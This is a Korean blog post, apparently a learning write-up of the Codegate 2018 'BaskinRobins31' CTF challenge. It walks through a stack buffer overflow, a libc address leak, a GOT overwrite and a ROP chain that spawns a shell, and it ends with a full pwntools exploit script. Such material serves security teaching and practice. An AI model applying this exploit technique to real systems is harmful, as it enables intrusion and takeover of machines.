ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Codegate2018] BaskinRobins31 Write-up
    표튜터와 함께하는 Pwnable/CTF Write-up 2019. 2. 11. 02:33

    혹시나 이상하거나 잘못된 것이 있다면 댓글 부탁드립니다.



    오늘은 처음으로 64bit 바이너리인 BaskinRobins를 풀어보았다!!

    생각보다 어렵지는 않았다. (Py0zz1가 잘가르쳐준 덕분^^)



    Payload를 구성하는 것은 순탄하게 진행하였지만

    Python을 이용하여 코드를 직접짜는 것에서 조금 버벅댔다ㅎㅎ

    (그래도 파이썬과 점점 친해지고 있는 듯 하다)



    이 문제는 우리가 아는 보통의 술자리(?)에서 했던 게임 BaskinRobins31와 같았다.

    직접 게임을 해보았지만 패배했다...;;


    여기서 알 수 있었던 것은 1~3의 숫자를 입력해야하고

    문자를 입력하게되면

    Don't break the rules...:(

    라는 문자열을 보여준다는 것이다.


    또한 알 수 있는 것은

    처음 숫자를 고르면 컴퓨터가 숫자를 고르는 방식으로

     번갈아가면서 입력을 한다는 것이다.

    그 말은 우리가 찾을 수 있는 취약점이 바로

    우리 차례에 입력을 하게되는 부분에서

    일어날 가능성이 높다는 것이다.



    다음으로는 Mitigation과 바이너리의 정보를 확인해보았다.

    64bit의 ELF파일이었고 Dynamically linked였다.

    symbol도 지워지지 않았다.

     Mitigation은 NX가 걸려있었다. 

    메모리에 실행권한이 없는데  Dynamically linked 파일이었기 때문에

    RTL을 사용하면 되겠다고 생각했다.




    본격적인 분석을 위해 우선 IDA로 바이너리를 열어보았다.

    위의 코드는 main() 함수인데 여기서 알 수 있는 것은

    my_turn과 your_turn 두 가지 함수로 진행된다는 것과

    게임에서 승리하게되면 힌트를 주는데

    그 힌트는 바로 ROP를 이용한 문제라는 것이었다.

    여기서 위에서 했던 생각에 조금 더 확신이 생겼다.





    my_turn은 컴퓨터의 차례이며 your_turn은 사용자의 차례라는 의미의 함수였다.

    그렇기 때문에 취약점이 있을 가능성이 높다고 생각한 your_turn을 분석해보기로 했다.

    176의 크기를 가진 버퍼를 주고 아래에서 read함수를 진행하고 있었는데

    오잉?? 흔히 볼 수 있는 스택오버플로우 문제가 일어날 것으로 의심되었다.

    그 이유는 버퍼의 크기는 176인데 입력이 가능한 크기가 400이었기 때문이다.

     버퍼보다 큰 크기의 입력이 가능하니 오버플로우가 발생할 것이라고 생각했다.

    (그 아래에는 아까처럼 1~3의 숫자가아닌 문자를 입력했을 때 출력되는 문자열이 있었다.)



    여기서 꿀팁!! 우리가 이 프로그램에서 입력을 할 수 있는 함수는 read() 함수 뿐이다.

    그렇기 때문에 read() 함수가 어디서쓰이는지 봐야하는데 그런걸 한번에 찾아주는 기능이

    IDA에 있다!! 바로 함수를 누르고 X를 눌러주면 된다.

    이를 크로스 레퍼런스 라고 한다.

    보다시피 your_turn에서 만 read()함수를 호출하고 있는 것을 볼 수 있다.




    여기까지 분석했을 때 들었던 생각은 read 함수와 write함수, Buffer Overflow

    그리고 plt와 got, system함수, bss영역, gadget, 함수 offset, libc_base, got overwrite 이용하여

    즉, ROP를 해서 풀면 되겠다는 생각이 들었다.




    그리고 필요한 것들을 생각하며 payload를 먼저 그림으로 구상해보았다.

    다음과 같은 그림을 payload를 구상하기로 했다.

    64bit이기 때문에 32bit와 콜링컨밴션이 달라서

    payload짜는 것에 약간의 차이가 있었다.

    gadget을 먼저 채운 뒤 함수를 호출해야하는 것이

    가장 크게 다르다는 생각이 들었고

    그것 말고도 주소값이 4Byte에서 8Byte로 늘어났다는 것도 있었다.




    이제 그림을 바탕으로 차근차근 ROP에 필요한 정보를 모아보도록 하겠다.




    우선 184개의 값으로 오버플로우를 일으켜 ret가 덮히는지 확인해보겠다.

    segmantation fault가 일어났고 core파일이 생성되었다.




    core파일을 보니 ret를 덮은 8개의 "b"가 보였다.

    일단 184개가 맞다는 것은 확인했다~



    다음은 write@plt를 찾아보겠다.

    바이너리에서 명령어를 이용해서 write@plt를 찾아보면 되겠다.

    (물론 IDA로 열면 바로 보인다^^)



    같은 방법으로 read@plt도 구해놓자~



    이건 IDA로 plt를 구하는 방법까진 아니고 그냥보인다ㅎㅎ

    또한 이왕 구하는거 offset도 구해놓았다.

    offset을 구하는 이유는 libc_base를 구하기 위해서이다.

    계속변하는 함수의 주소에서 정확한 주소를 찾아내는 방법은

    함수의 정확한 주소에서 offset만큼의 거리를 빼는 것이다.

    그렇게되면 libc_base를 구할 수 있게되고 

    함수들은 항상 offset 만큼의 거리차이가 나기 때문에

    이 방법을 이용하여 system함수의 정확한 주소를 구할 수 있게 된다.



    그렇기 위해서는 어떠한 libc를 사용하는지 봐야하고



    그 libc에서 함수의 offset을 구하면 된다.

    (read offset도 구하고 싶다면 아래와 같은방법으로 objdump를 이용하면 된다.)



    write함수의 offset



    system함수의 offset









    이번에는 read@got를 구해보겠다.



    구하는 김에 write@got도 구해봤다.



    다음으로는 PPPR Gadget을 구하려고 했는데 오잉???

    helper()에서 Gadget정도를 찾게되었다.

    참고로 64bit이기 때문에 콜링컨밴션을 따라서 gadget을 구해야한다.

    rdi, rsi, rdx, rcx, r8, r9 그 이상의 인자를 넘긴다면

    r10 ~ r15의 레지스터가 아닌 스택을 사용한다.

    (근데 그럴일은 잘 없다ㅎㅎ)



    보통 구하는 방법

    여기서 레지스터를 잘보고 골라서 사용하면된다.

    (참고로 바이너리말고 libc에서 골라도 된다!!)




    아! 만약에 IDA에서 오른쪽 Gadget처럼 주소가 보이지 않는다면

    Option 탭에서 Genaral -> Line prefixes (graph)를 체크해주면된다.




    Gadget을 구했으니 이번엔 BSS영역의 주소를 구해보자!


    위의 명령어를 이용하면 쉽게 구할 수 있다.



    드디어 필요한 것은 다 구했다!!!

    이제는 위에서 구한 것들을 이용해서 payload를 짜면된다.

    payload의 원리는 다음과 같다.

    다시 그림을 보며 하나하나 진행해보겠다.

    buf에 sfp를 포함한 184개의 문자를 넣어서 Overflow를 일으킨다.

    그 뒤 your_tun의 ret값을 pppr gadget으로 덮어주고 인자값을 넣어준다.

    (your_turn의 ret인 이유는 buf가 your_turn()함수에서 선언되었다.)

    fd=1(출력) , read@got, 8(주소크기)순으로 넣어준다.

    read@got를 인자로 주는 이유는 당연히 read의 libc에서의 진짜 주소를 알아내기 위해서다.

    read의 libc의 주소에서 offset을 빼면 libc_base주소를 알아낼 수 있기 때문이다.

    payload 코드에서 방금 알아낸 read의 주소에 read의 offset을 빼서 libc_base를 구하고

    libc_base에 system offset을 더해 system의 libc주소를 구하는 코드를 넣어줘야한다.




    이렇게 pop, pop, pop진행 후 ret로 해당 인자로 실행할 함수인 write@plt를 넣어준다.

    (처음에 말했듯 64bit이기 때문에 32bit와 달리 gadget으로 인자를 채운 뒤 함수를 써줘야한다. )




    write의 ret로는 다시 pppr gadget을 넣어주고

    fd = 0(입력), BSS영역의 주소, "/bin/sh\x00"의 길이 값을 인자로 준다.

    그 다음 ret로 실행할 함수인 read@plt를 넣어준다.

    BSS영역에 "/bin/sh\x00" 길이로 read를 이용해 입력하는 이유는

    바이너리에 NX mitigation이 걸려 실행권한이 없으므로 실행할 수가 없기 때문이다.

    그렇기 때문에 우리는 BSS영역에 "/bin/sh\x00"을 넣어놓고

    실행권한이 있는 공유라이브러리 함수를 이용하여 실행시킬 것이다.

    역시 코드를 통해 "/bin/sh\x00"을 가진 변수를 선언하여 send로 입력해주면된다.




    다음으로 read의 ret로는 역시 pppr gadget을 이용한다.

    fd = 0(입력), read@got, 8(주소크기)를 인자로 넣어주고

    ret로 read@plt를 실행시킨다.

    이 때 버퍼주소를 read@got를 하는 이유는

    got overwrite를 하기 위해서다.

    got overwrite를 해서 read함수 대신 위에서 구한 system 함수 주소를 입력할 것이다.

    그렇게되면 read함수 호출 시 got가 변경되어 system함수가 호출된다.

    그러므로 코드를 이용하여 위에서 구한 

    system함수의 주소를 send로 입력하면 된다.




    마지막으로 read의 ret에 pppr gadget을 넣어주고

    인자로 BSS영역의 주소, 0, 0 그리고 ret로 read@plt를 넣어주면 된다.

    0, 0을 넣는 이유는 read함수는 이제 read가 아닌 system함수이기 때문이다.

    따라서 인자는 1개만 넣어주면 된다.

    이렇게 만들어서 진행하게되면 쉘이 따진다!!





    * Exploit Code *

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    from pwn import*
     
    bss           = 0x0000000000602090
    pppr          = 0x000000000040087a
    read_plt      = 0x0000000000400700
    read_got      = 0x0000000000602040
    read_offset   = 0x00000000000f7250
    write_plt     = 0x00000000004006d0
    system_offset = 0x0000000000045390
     
    bin_sh = "/bin/sh\x00"
     
    = process("./BaskinRobins31")
     
     
    script = """
    b*0x000000000040097a
    """
     
    #gdb.attach(p,script)
     
    #stack buffer overflow
    payload = "A"*184
     
     
     
    #find real function address
    payload += p64(pppr)
    payload += p64(1)
    payload += p64(read_got)
    payload += p64(8)
    payload += p64(write_plt)
     
     
     
    #make /bin/sh space
    payload += p64(pppr)
    payload += p64(0)
    payload += p64(bss)
    payload += p64(len(bin_sh)) 
    payload += p64(read_plt)
     
     
     
    #got overwrite
    payload += p64(pppr)
    payload += p64(0)
    payload += p64(read_got) 
    payload += p64(8)
    payload += p64(read_plt)
     
     
     
    #system function
    payload += p64(pppr)
    payload += p64(bss)
    payload += p64(0)
    payload += p64(0)
    payload += p64(read_plt) 
     
    p.recvuntil("How many numbers do you want to take ? (1-3)\n")
    p.sendline(payload)
    p.recvuntil("Don't break the rules...:( \x0a")
    read_addr = u64(p.recv(8))
    p.send(bin_sh)
     
    libc_base = read_addr - read_offset
    print "libc_base   = "+hex(libc_base)
    system_addr = libc_base + system_offset
    print "system_addr = "+hex(system_addr)
     
    p.sendline(p64(system_addr))
    p.interactive()



    쉘은 땄지만 코드에 대한 설명을 하려고 한다.

    (payload 짤 때 디버깅 하는 법도 배웠기 때문에ㅎㅎ)


    주석처리되어있는 20번 라인을 보자

    gdb.attach()함수는 프로세스와 스크립트를 인자로 받아서 진행하는 함수이다.

    실행중인 프로세스를 gdb에 붙인다는 의미로

    디버깅을 하고 싶을 때 진행한다.

    또한 여기서 script로 되어있는 부분은 breakpoint를 걸어주기위해서 사용하였다.


    gdb 디버깅을 통해서 자신이 짜고 있는 payload가 제대로 작동하고 있는지 확인할 수 있다.





    * 참    고 *

    recvutill("문자열") -> 해당 문자열이 나올 때까지 받겠다라는 의미이다.

    send와 sendline의 차이를 알아야한다.

    차이는 의외로 간단하다 "\n"을 하느냐 아니냐의 차이다.

    하지만 이 차이는 조금 큰 차이라고 생각한다.


    예를 들어 보통 "/bin/sh"이라는 인자를 입력할 때

    "/bin/shaaa" 처럼 뒤에 이상한값이 들어왔을 때를 방지하기위해

    "/bin/sh\x00"이런식으로 NULL값을 넣어준다.


    보통 입력 함수에서는 NULL이나 개행을 만나면 입력을 종료한다.

    그런데 만약 sendline("/bin/sh\x00")을 하게되면 어떻게 될까??

    "/bin/sh\x00\n" 이런식으로 입력이 될 것이다.

    이렇게되면 "\x00"까지 입력받고 "\n" 는 stdin을 떠돌게된다.

    그렇게 되면 다음에 입력을 받을 때 메모리에 남은 "\n"가 자동으로 입력되면서

    입력함수가 바로 인자를 "\n" 만났다고 착각하여 종료하거나 

    의도치 않은 작동을 일으키게 되는 것이다.

    그러므로 구분해서 잘 사용해야한다.





    이 문제에서 이 함수를 사용한 이유는 컴퓨터에서 출력하는

    출력문을 받아야 다음으로 진행할 수 있기 때문이다

    -> 즉, 상호작용이 필요하기 때문이다.




    payload를 짤 때 이러한 부분을 신경써서 진행해야한다.

    그렇기 때문에 gdb.attach()를 사용하는 것이다.


    payload 짤 때 중요한 것은 바이너리와의 상호작용이다!!


    exploit.py 파일 뒤에 DEBUG를 붙이게되면 

    아래와 같은 화면이 나오게 된다.

    payload가 바이너리와 어떤식으로 상호작용하는 지를 확인 할 수 있다.



    exploit.py에 gdb.attach()를 해주고 breakpoint를 건 뒤 DEBUG한 모습이다.

    이러한 디버깅 관련 내용은 아직 어떤식으로 Write-up을 써야할지 모르겠다.

    조금 더 익숙해지도록 연습한 뒤 차차 Write-up에 넣어보도록 하겠다.



    반응형

    댓글

Designed by Tistory.